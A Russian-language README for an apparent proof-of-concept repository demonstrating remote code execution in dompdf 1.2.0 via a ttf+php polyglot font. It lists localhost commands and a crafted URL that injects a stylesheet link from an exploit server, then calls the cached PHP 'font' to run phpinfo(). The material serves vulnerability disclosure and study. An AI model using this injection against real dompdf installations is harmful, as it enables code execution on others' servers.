RCE-эксплойт для dompdf

Этот репозиторий содержит уязвимое демо-приложение, использующее dompdf 1.2.0, и эксплойт, который достигает удалённого выполнения кода через polyglot-файл ttf+php.

Более подробную информацию см. на https://positive.security/blog/dompdf-rce

Инструкции

1. Запустите демо-приложение

$ cd application
$ php -S localhost:9000

2. Запустите сервер эксплойта

$ cd exploit
$ php -S localhost:9001

3. Активируйте эксплойт

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

4. Получите доступ к кэшированному PHP-«шрифтовому» файлу и выполните phpinfo()

http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

Обратите внимание: Если вы используете другие домены или порты, отредактируйте exploit/exploit.css соответствующим образом и проверьте application/dompdf/lib/fonts, чтобы узнать полное имя файла шрифта.